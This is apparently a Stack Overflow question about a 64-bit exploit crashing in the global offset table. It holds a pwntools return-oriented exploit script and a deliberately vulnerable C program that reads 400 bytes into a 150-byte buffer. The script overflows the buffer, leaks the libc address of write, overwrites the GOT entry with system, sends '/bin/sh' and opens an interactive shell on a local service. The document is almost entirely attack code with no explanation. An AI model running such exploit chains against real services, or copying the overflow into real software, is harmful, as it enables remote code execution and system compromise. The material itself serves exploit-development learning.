https://stackoverflow.com/questions/47401997/why-do-i-get-a-sigsegv-in-global-offset-table-error-with-my-64bit-exploit-inste

exploit.py

from pwn import *

e = ELF("./leak")
l = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pppr = 0x000000000040068a

s = remote('127.0.0.1', 5000)
s.recvuntil(": ")

payload = "A"*168
payload += p64(pppr)
payload += p64(constants.STDOUT_FILENO)
payload += p64(e.got['write'])
payload += p64(0x8)
payload += p64(e.plt['write'])

payload += p64(pppr)
payload += p64(constants.STDIN_FILENO)
payload += p64(e.got['write'])
payload += p64(0x8)
payload += p64(e.plt['read'])

payload += p64(pppr)
payload += p64(constants.STDIN_FILENO)
payload += p64(0x601048)
payload += p64(0x7)
payload += p64(e.plt['read'])

payload += p64(pppr)
payload += p64(0x601048)
payload += ("JUNK"*4)
payload += p64(e.plt['write'])

payload += "gg"
s.sendline(payload)
s.recvuntil("gg\n")

got_leak = u64(s.recv(8))
libc_base = got_leak - l.symbols['write']
s.send(p64(libc_base + l.symbols['system']))
s.send("/bin/sh")
s.interactive()

leak

leak.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>

// add some helper asm snippets for convenience
void helper(){
    asm("pop %rdi;pop %rsi;pop %rdx;ret;");
    asm("pop %rsi;ret;");
    asm("push %rsi;ret;");  
}

int vuln(){
    char buf[150];
    write(1,"input: ",7);
    ssize_t l=0;
    memset(buf,0,sizeof(buf));
    l=read(0,buf,400);
    printf("[+] recvd: ");
    write(1,buf,l);
    return (int) l;
}

int main(){
    setbuf(stdout,0);
    printf("<%d>\n",vuln());
    return 0;
}